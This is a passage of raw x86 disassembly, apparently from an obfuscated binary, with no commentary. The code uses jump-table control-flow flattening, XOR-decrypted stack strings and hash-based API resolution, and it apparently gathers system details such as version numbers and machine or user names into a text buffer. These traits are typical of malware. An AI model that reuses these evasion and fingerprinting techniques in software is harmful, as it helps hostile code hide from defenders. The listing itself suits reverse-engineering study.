mov eax, dword [esp + 0x1c]
mov dword [eax], 0xa21c0493
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xade46b3f
setl cl
mov dword [esp + 0x180], ecx
mov ecx, dword [esp + 0x184]
mov edx, dword [esp + 0x180]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x7e363462
setl cl
mov dword [esp + 0x2b0], ecx
mov ecx, dword [esp + 0x2b4]
mov edx, dword [esp + 0x2b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
jmp 0x426fde
movzx ebx, word [eax]
test bx, bx
je 0x426fbb
mov dword [esi + 8], eax
mov edx, eax
add edx, 2
xor ecx, ecx
jmp 0x426e7f
mov ecx, dword [esi]
add ecx, eax
movzx ebx, word [edx]
add edx, 2
test bx, bx
je 0x426ea3
mov dword [esi], ecx
movzx ecx, bx
cmp ecx, 0x800
mov ebx, 3
sbb ebx, 0
mov eax, 1
cmp ecx, 0x80
jb 0x426e70
mov eax, ebx
jmp 0x426e70
mov ebx, dword [esi + 8]
lea eax, [ecx + 4]
and eax, 0xfffffffc
call fcn.004095f0
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
test ecx, ecx
jle 0x426fc3
lea edx, [eax + ecx]
mov dword [esi + 0xb4], edx
inc ecx
add ecx, eax
mov edx, eax
mov dword [esi], ecx
jmp 0x426f01
mov ebx, dword [esi + 4]
mov byte [edx], bl
mov dword [esi + 0xc], 1
mov ebx, dword [esi + 8]
add ebx, 2
add edx, dword [esi + 0xc]
cmp edx, dword [esi + 0xb4]
jae 0x426fc5
mov dword [esi + 8], ebx
movzx ebx, word [ebx]
mov dword [esi + 4], ebx
test bx, bx
je 0x426fc5
cmp word [esi + 4], 0x7f
jbe 0x426ee0
mov dword [esi + 0x9c], edx
mov ebx, edx
not ebx
add ebx, ecx
movzx edx, word [esi + 4]
mov dword [esi + 0x30], edx
cmp ebx, 2
jb 0x426f70
cmp dword [esi + 0x30], 0x7ff
ja 0x426f70
mov ebx, dword [esi + 4]
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov edx, dword [esi + 0x9c]
mov byte [edx], cl
mov ecx, dword [esi]
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
mov dword [esi + 0xc], 2
jmp 0x426eec
mov dword [esi + 0xc], 0
cmp ebx, 3
mov edx, dword [esi + 0x9c]
jb 0x426eec
mov ecx, dword [esi + 0x30]
shr ecx, 0xc
or cl, 0xe0
mov byte [edx], cl
mov ecx, dword [esi]
shr dword [esi + 0x30], 6
mov ebx, dword [esi + 0x30]
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
mov ebx, dword [esi + 4]
and bl, 0x3f
or bl, 0x80
mov byte [edx + 2], bl
mov dword [esi + 0xc], 3
jmp 0x426eec
push eax
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov edx, eax
mov byte [edx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x426fdb
inc eax
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x426fd0
mov byte [edi], 0
mov byte [edi], 0xa
inc edi
lea eax, [esi + 0x1dc]
push eax
call fcn.004295a0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x447910]
jmp 0x42770e
mov ebx, dword [esi + 0x1dc]
mov byte [esi + 0x7fa], 0
test ebx, ebx
je 0x427064
lea ecx, [esi + 0x7fa]
cmp ebx, 0x64
jb 0x427073
nop
nop
nop
nop
mov dword [esi + 4], ecx
mov eax, ebx
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, ebx
sub ecx, eax
movzx eax, word [ecx + ecx + 0x442318]
mov ecx, dword [esi + 4]
mov word [ecx - 2], ax
add ecx, 0xfffffffe
cmp ebx, 0x270f
mov ebx, edx
ja 0x427020
cmp edx, 9
ja 0x42707a
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ecx - 1], al
dec ecx
jmp 0x427089
lea ecx, [esi + 0x7f9]
mov byte [esi + 0x7f9], 0x30
jmp 0x427089
mov edx, ebx
cmp edx, 9
jbe 0x427057
movzx eax, word [edx + edx + 0x442318]
mov word [ecx - 2], ax
add ecx, 0xfffffffe
mov dword [esi + 4], ecx
mov ebx, dword [esi + 0x1e0]
mov byte [esi + 0xd6], 0
test ebx, ebx
je 0x4270f4
lea ecx, [esi + 0xd6]
cmp ebx, 0x64
jb 0x427103
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi + 8], ecx
mov eax, ebx
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, ebx
sub ecx, eax
movzx eax, word [ecx + ecx + 0x442318]
mov ecx, dword [esi + 8]
mov word [ecx - 2], ax
add ecx, 0xfffffffe
cmp ebx, 0x270f
mov ebx, edx
ja 0x4270b0
cmp edx, 9
ja 0x42710a
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ecx - 1], al
dec ecx
jmp 0x427119
lea ecx, [esi + 0xd5]
mov byte [esi + 0xd5], 0x30
jmp 0x427119
mov edx, ebx
cmp edx, 9
jbe 0x4270e7
movzx eax, word [edx + edx + 0x442318]
mov word [ecx - 2], ax
add ecx, 0xfffffffe
mov eax, dword [esi + 0x1e4]
mov byte [esi + 0x54e], 0
test eax, eax
mov dword [esi + 8], ecx
je 0x42717e
lea ebx, [esi + 0x54e]
cmp eax, 0x64
jb 0x42718d
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi], eax
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, dword [esi]
sub ecx, eax
movzx eax, word [ecx + ecx + 0x442318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
cmp dword [esi], 0x270f
mov eax, edx
ja 0x427140
cmp edx, 9
ja 0x427194
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ebx - 1], al
dec ebx
jmp 0x4271a3
lea ebx, [esi + 0x54d]
mov byte [esi + 0x54d], 0x30
jmp 0x4271a3
mov edx, eax
cmp edx, 9
jbe 0x427171
movzx eax, word [edx + edx + 0x442318]
mov word [ebx - 2], ax
add ebx, 0xfffffffe
mov eax, dword [esi + 0x1ec]
mov dword [esi + 0x5f0], 0x600e0026
mov dword [esi + 0x5f4], 0x36247123
mov dword [esi + 0x5f8], 0x383fc6c6
mov dword [esi + 0x5fc], 0x5b7a0336
mov dword [esi + 0x68], 0
mov ecx, dword [esi + 0x68]
cmp ecx, 0xf
ja 0x427214
mov ecx, dword [esi + 0x68]
mov edx, dword [esi + 0x68]
movzx edx, byte [esi + edx + 0x5f0]
add ecx, 0x875134bc
xor ecx, edx
mov dword [esi + 0x38], ecx
mov ecx, dword [esi + 0x38]
add cl, 0x70
mov edx, dword [esi + 0x68]
mov byte [esi + edx + 0x5f0], cl
inc dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
cmp ecx, 0x10
jb 0x4271e0
movzx ecx, byte [esi + 0x5f0]
test cl, cl
je 0x42723b
lea edx, [esi + 0x5f1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x427230
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42725b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x427250
mov word [edi], 0x2820
add edi, 2
mov ecx, dword [esi + 4]
movzx eax, byte [ecx]
test al, al
je 0x42727b
inc ecx
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427270
mov byte [edi], 0x2e
inc edi
mov ecx, dword [esi + 8]
movzx eax, byte [ecx]
test al, al
je 0x42729b
inc ecx
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427290
mov byte [edi], 0x2e
inc edi
movzx eax, byte [ebx]
test al, al
je 0x4272bb
inc ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x4272b0
mov byte [edi], 0x29
inc edi
lea eax, [esi + 0x14]
push eax
call fcn.0043f110
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x447918]
jmp 0x4273de
mov byte [edi], 0x20
xor eax, eax
cmp dword [esi + 0x14], 1
sete al
jmp dword [eax*4 + 0x447920]
mov dword [esi + 0x5f0], 0x241114db
mov byte [esi + 0x5f4], 0
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 4
ja 0x4273bd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0xa191f62
xor eax, ecx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
add al, 0xbf
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 5
jb 0x427320
jmp 0x4273bd
mov dword [esi + 0x5f0], 0x9ba8aae0
mov word [esi + 0x5f4], 0
mov byte [esi + 0x5f6], 0
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 6
ja 0x4273bd
nop
nop
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx edx, byte [esi + ecx + 0x5f0]
lea ecx, [eax + edx]
add eax, 0x98
and eax, edx
add eax, eax
sub ecx, eax
add ecx, 0xf4b98
mov dword [esi + 0x38], ecx
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 7
jb 0x427380
lea eax, [esi + 0x5f0]
inc edi
movzx ecx, byte [eax]
test cl, cl
je 0x4273db
inc eax
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4273d0
mov byte [edi], 0
mov dword [esi + 0x5f0], 0x97b8b65c
mov dword [esi + 0x5f4], 0xf3fff8eb
mov dword [esi + 0x5f8], 0x9783e5be
mov dword [esi + 0x5fc], 0x27c4df85
mov word [esi + 0x600], 0
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 0x11
ja 0x427452
nop
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0xf303ab7
xor eax, ecx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
add al, 0x1f
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 0x12
jb 0x427420
movzx eax, byte [esi + 0x5f0]
test al, al
je 0x42747b
lea ecx, [esi + 0x5f1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427470
mov byte [edi], 0
movzx eax, byte [esi + 0x1f0]
test al, al
je 0x42749b
lea ecx, [esi + 0x1f1]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427490
mov byte [edi], 0
mov dword [esi + 0x5f0], 0xc9bca280
mov dword [esi + 0x5f4], 0xb1f5eeeb
mov dword [esi + 0x5f8], 0xf0e6e4f8
mov dword [esi + 0x5fc], 0xfdfd8be4
mov dword [esi + 0x600], 0xafe9
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 0x13
ja 0x427512
nop
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0x52ac5d14
xor eax, ecx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x38]
add al, 0x76
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x68]
mov eax, dword [esi + 0x68]
cmp eax, 0x14
jb 0x4274e0
movzx eax, byte [esi + 0x5f0]
test al, al
je 0x42753b
lea ecx, [esi + 0x5f1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427530
mov byte [edi], 0
movzx edx, word [esi + 0x204]
xor eax, eax
test dx, dx
setns al
jmp dword [eax*4 + 0x447928]
jmp 0x427561
mov byte [edi], 0x2b
inc edi
movzx edx, word [esi + 0x204]
mov byte [esi + 0x3e], 0
test dx, dx
je 0x4275d2
lea eax, [esi + 0x3e]
movsx ecx, dx
sar ecx, 0xf
mov dword [esi + 0xc], edx
xor edx, ecx
sub edx, ecx
cmp dx, 0x64
jb 0x4275dd
movzx ecx, dx
mov dword [esi + 4], ecx
shr ecx, 2
imul ebx, ecx, 0x147b
shr ebx, 0x11
imul ecx, ebx, 0x64
sub edx, ecx
mov ecx, edx
and ecx, 2
mov dword [esi], ecx
movzx ecx, dx
or ecx, 2
imul ecx, dword [esi]
mov dword [esi + 8], ecx
xor dword [esi], 2
and edx, 0x7d
imul edx, dword [esi]
mov ecx, dword [esi + 8]
movzx ecx, word [edx + ecx + 0x442318]
mov word [eax - 2], cx
add eax, 0xfffffffe
mov edx, ebx
cmp dword [esi + 4], 0x270f
ja 0x427580
jmp 0x4275df
lea eax, [esi + 0x3d]
mov byte [esi + 0x3d], 0x30
mov dl, 0x30
jmp 0x427627
mov ebx, edx
movzx ecx, bx
cmp cx, 9
ja 0x427603
movzx edx, byte [ecx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [eax - 1], dl
dec eax
cmp word [esi + 0xc], 0
jns 0x427623
mov byte [eax - 1], 0x2d
dec eax
mov dl, 0x2d
jmp 0x427627
movzx edx, byte [ecx + ecx + 0x442319]
mov byte [eax - 1], dl
movzx edx, byte [ecx + ecx + 0x442318]
mov byte [eax - 2], dl
add eax, 0xfffffffe
cmp word [esi + 0xc], 0
js 0x4275fa
test dl, dl
je 0x42763b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [eax]
inc eax
test dl, dl
jne 0x427630
mov byte [edi], 0
mov dword [esi + 0x5f0], 0x10380ed4
mov dword [esi + 0x5f4], 0x6458584c
mov dword [esi + 0x5f8], 0xf205552
mov dword [esi + 0x5fc], 0x15635161
mov dword [esi + 0x600], 0xc92e
mov byte [esi + 0x604], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0x14
ja 0x4276c2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0xad3aeeab
xor eax, ecx
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x68]
add al, 0x8b
mov ecx, dword [esi + 0x14]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x14]
mov eax, dword [esi + 0x14]
cmp eax, 0x15
jb 0x427690
movzx eax, byte [esi + 0x5f0]
test al, al
je 0x4276eb
lea ecx, [esi + 0x5f1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4276e0
mov byte [edi], 0
movzx eax, byte [esi + 0x206]
test al, al
je 0x42770b
lea ecx, [esi + 0x207]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427700
mov byte [edi], 0
mov eax, dword [esi + 0x1ec]
test eax, eax
je 0x427721
push eax
call fcn.00409630
add esp, 4
call fcn.00437160
movzx eax, al
jmp dword [eax*4 + 0x447930]
mov dword [esi + 0x5f0], 0xd8e6e8ee
mov word [esi + 0x5f4], 0x4feb
mov dword [esi + 0x5f6], 0
mov dword [esi + 0x7f0], 0
mov eax, dword [esi + 0x7f0]
cmp eax, 9
ja 0x427847
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7f0]
mov ecx, dword [esi + 0x7f0]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0x8b31d479
xor eax, ecx
mov dword [esi + 0x1dc], eax
mov eax, dword [esi + 0x1dc]
mov ecx, eax
xor ecx, 0x31
and eax, 0x4e
add eax, eax
sub eax, ecx
mov ecx, dword [esi + 0x7f0]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x7f0]
mov eax, dword [esi + 0x7f0]
cmp eax, 0xa
jb 0x427770
jmp 0x427847
mov dword [esi + 0x5f0], 0xc0313132
mov byte [esi + 0x5f4], 0xaa
mov dword [esi + 0x5f5], 0
mov byte [esi + 0x5f9], 0
mov dword [esi + 0x7f0], 0
mov eax, dword [esi + 0x7f0]
cmp eax, 9
ja 0x427847
nop
nop
nop
mov eax, dword [esi + 0x7f0]
mov ecx, dword [esi + 0x7f0]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0x96bb3434
xor eax, ecx
mov dword [esi + 0x1dc], eax
mov eax, dword [esi + 0x1dc]
add al, 0x6e
mov ecx, dword [esi + 0x7f0]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x7f0]
mov eax, dword [esi + 0x7f0]
cmp eax, 0xa
jb 0x427800
lea eax, [esi + 0x5f0]
mov dword [esi + 0x1dc], 0x54303e1c
mov dword [esi + 0x1e0], 0x748e727a
mov dword [esi + 0x1e4], 0x477c7e8e
mov word [esi + 0x1e8], 0x1f3e
mov dword [esi + 0x1ea], 0
mov word [esi + 0x1ee], 0
mov dword [esi + 0xcc], 0
mov ecx, dword [esi + 0xcc]
cmp ecx, 0x13
ja 0x4278f0
nop
nop
nop
nop
mov ecx, dword [esi + 0xcc]
mov edx, dword [esi + 0xcc]
movzx edx, byte [esi + edx + 0x1dc]
lea ebx, [ecx + edx]
and ecx, edx
add ecx, ecx
sub ebx, ecx
add ebx, 0x91adb900
mov dword [esi + 0x7f0], ebx
mov ecx, dword [esi + 0x7f0]
add cl, 0xee
mov edx, dword [esi + 0xcc]
mov byte [esi + edx + 0x1dc], cl
inc dword [esi + 0xcc]
mov ecx, dword [esi + 0xcc]
cmp ecx, 0x14
jb 0x4278a0
movzx ecx, byte [esi + 0x1dc]
test cl, cl
je 0x42791b
lea edx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x427910
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42793b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x427930
mov byte [edi], 0
mov byte [esi + 0x534], 0
mov dword [esi + 0xc4], 0x10
push 0x4cbcd57b
push dword [0x44a910]
call fcn.0043e950
add esp, 8
lea ecx, [esi + 0xc4]
lea edx, [esi + 0x534]
push ecx
push edx
call eax
mov dword [esi + 0x1dc], 0x540a381a
mov dword [esi + 0x1e0], 0x6e767479
mov dword [esi + 0x1e4], 0x276c7868
mov word [esi + 0x1e8], 0xdf00
mov dword [esi + 0x1ea], 0
mov dword [esi + 0x7f0], 0
mov eax, dword [esi + 0x7f0]
cmp eax, 0x11
ja 0x427a07
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x7f0]
mov ecx, dword [esi + 0x7f0]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0xffadc193
xor eax, ecx
mov dword [esi + 0x5f0], eax
mov eax, dword [esi + 0x5f0]
add al, 0x81
mov ecx, dword [esi + 0x7f0]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x7f0]
mov eax, dword [esi + 0x7f0]
cmp eax, 0x12
jb 0x4279c0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x427a2b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427a20
mov byte [edi], 0
movzx eax, byte [esi + 0x534]
test al, al
je 0x427a4b
lea ecx, [esi + 0x535]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427a40
mov byte [edi], 0
mov dword [esi + 0x7f0], 0
mov dword [esi + 0x7f4], 0
mov eax, dword [0x449604]
mov dword [esi + 0x1dc], 0x74117610
mov dword [esi + 0x1e0], 0x680e6ae1
mov dword [esi + 0x1e4], 0x6cf26eff
mov dword [esi + 0x1e8], 0x60376236
mov dword [esi + 0x1ec], 0x64016635
mov dword [esi + 0x1f0], 0x98059a07
mov dword [esi + 0x1f4], 0x9e9f
mov byte [esi + 0x1f8], 0
mov dword [esi + 0xcc], 0
mov ecx, dword [esi + 0xcc]
cmp ecx, 0x1c
ja 0x427b19
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0xcc]
mov edx, dword [esi + 0xcc]
movzx edx, byte [esi + edx + 0x1dc]
add ecx, 0xd9e1f8ec
xor ecx, edx
mov dword [esi + 0x5f0], ecx
mov ecx, dword [esi + 0x5f0]
add cl, 0x65
mov edx, dword [esi + 0xcc]
mov byte [esi + edx + 0x1dc], cl
inc dword [esi + 0xcc]
mov ecx, dword [esi + 0xcc]
cmp ecx, 0x1d
jb 0x427ad0
push 0x800
push 0
lea ebx, [esi + 0x1dc]
push ebx
call eax
lea ecx, [esi + 0x7f0]
push eax
call fcn.0043c760
movzx eax, al
jmp dword [eax*4 + 0x447938]
jmp 0x427c4a
mov byte [esi + 0x1dc], 0
mov dword [esi + 0x38], 0x101
push 0x19cb8461
push dword [esi + 0x7f0]
call fcn.0043e950
add esp, 8
lea ecx, [esi + 0x38]
push ecx
push ebx
call eax
mov dword [esi + 0x5f0], 0xcf85f599
mov dword [esi + 0x5f4], 0x964f414e
mov dword [esi + 0x5f8], 0xdeff
mov byte [esi + 0x5fc], 0
mov dword [esi + 0x544], 0
mov eax, dword [esi + 0x544]
cmp eax, 0xc
ja 0x427bf7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x544]
mov ecx, dword [esi + 0x544]
movzx ecx, byte [esi + ecx + 0x5f0]
add eax, 0xd907b63c
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0x65
mov ecx, dword [esi + 0x544]
mov byte [esi + ecx + 0x5f0], al
inc dword [esi + 0x544]
mov eax, dword [esi + 0x544]
cmp eax, 0xd
jb 0x427bb0
movzx eax, byte [esi + 0x5f0]
test al, al
je 0x427c1b
lea ecx, [esi + 0x5f1]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427c10
mov byte [edi], 0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x427c3b
lea ecx, [esi + 0x1dd]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427c30
mov byte [edi], 0
push dword [esi + 0x7f0]
call dword [0x449708]
push 0x6ead8a84
push dword [0x44a910]
call fcn.0043e950
add esp, 8
mov ebx, eax
mov byte [esi + 0x5f0], 0
mov dword [esi + 0xc0], 0x200
lea eax, [esi + 0xc0]
lea ecx, [esi + 0x5f0]
push eax
push ecx
push 6
call ebx
mov dword [esi + 0x1dc], 0xcbe8fa94
mov dword [esi + 0x1e0], 0x3c2b3e3f
mov dword [esi + 0x1e4], 0x87e0cf30
mov dword [esi + 0xcc], 0
mov eax, dword [esi + 0xcc]
cmp eax, 0xb
ja 0x427d07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xcc]
mov ecx, dword [esi + 0xcc]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0x5a5865a1
xor eax, ecx
mov dword [esi + 0x7f0], eax
mov eax, dword [esi + 0x7f0]
add al, 0xd5
mov ecx, dword [esi + 0xcc]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0xcc]
mov eax, dword [esi + 0xcc]
cmp eax, 0xc
jb 0x427cc0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x427d2b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427d20
mov byte [edi], 0
movzx eax, byte [esi + 0x5f0]
test al, al
je 0x427d4b
lea ecx, [esi + 0x5f1]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427d40
mov byte [edi], 0
mov byte [esi + 0x7f0], 0
mov dword [esi + 0xbc], 0x200
lea eax, [esi + 0xbc]
push eax
lea eax, [esi + 0x7f0]
push eax
push 5
call ebx
mov dword [esi + 0x1dc], 0x2841316d
mov dword [esi + 0x1e0], 0xf6f1f3f6
mov dword [esi + 0x1e4], 0x3602f90c
mov dword [esi + 0x1e8], 0x6e4f
mov byte [esi + 0x1ec], 0
mov dword [esi + 0x544], 0
mov eax, dword [esi + 0x544]
cmp eax, 0x10
ja 0x427e07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x544]
mov ecx, dword [esi + 0x544]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0x9f5ab870
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0xed
mov ecx, dword [esi + 0x544]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x544]
mov eax, dword [esi + 0x544]
cmp eax, 0x11
jb 0x427dc0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x427e2b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427e20
mov byte [edi], 0
movzx eax, byte [esi + 0x7f0]
test al, al
je 0x427e4b
lea ecx, [esi + 0x7f1]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427e40
mov byte [edi], 0
mov byte [esi + 0x524], 0
mov dword [esi + 0xb8], 0x10
lea eax, [esi + 0xb8]
lea ecx, [esi + 0x524]
push eax
push ecx
push 4
call ebx
mov dword [esi + 0x1dc], 0xc4e9e50d
mov dword [esi + 0x1e0], 0xc7cf98ae
mov dword [esi + 0x1e4], 0x122b43c0
mov byte [esi + 0x1e8], 0xf3
mov word [esi + 0x1e9], 0
mov byte [esi + 0x1eb], 0
mov dword [esi + 0x544], 0
mov eax, dword [esi + 0x544]
cmp eax, 0xf
ja 0x427f07
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x544]
mov ecx, dword [esi + 0x544]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0x849334f7
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0x10
mov ecx, dword [esi + 0x544]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x544]
mov eax, dword [esi + 0x544]
cmp eax, 0x10
jb 0x427ec0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x427f2b
lea ecx, [esi + 0x1dd]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427f20
mov byte [edi], 0
movzx eax, byte [esi + 0x524]
test al, al
je 0x427f4b
lea ecx, [esi + 0x525]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427f40
mov byte [edi], 0
mov word [esi + 0x544], 0
push 0x9887397f
push dword [0x44a910]
call fcn.0043e950
add esp, 8
lea ecx, [esi + 0x544]
push 0x56
mov ebx, ecx
push ecx
call eax
mov dword [esi + 0x1dc], 0xef3c2e50
mov dword [esi + 0x1e0], 0x1c091305
mov dword [esi + 0x1e4], 0xd50f0c01
mov dword [esi + 0x1e8], 0xa9ca
mov byte [esi + 0x1ec], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0x10
ja 0x427ff8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1dc]
add eax, 0x195f3bfd
xor eax, ecx
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0xcc]
add al, 0x5d
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1dc], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x11
jb 0x427fc0
movzx eax, byte [esi + 0x1dc]
test al, al
je 0x42801d
lea ecx, [esi + 0x1dd]
mov edx, ebx
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428010
jmp 0x42801f
mov edx, ebx
mov byte [edi], 0
lea eax, [edi + 0x56]
mov dword [esi + 0x30], eax
xor eax, eax
mov ebx, edi
jmp 0x428048
mov byte [ebx], cl
mov ebx, 1
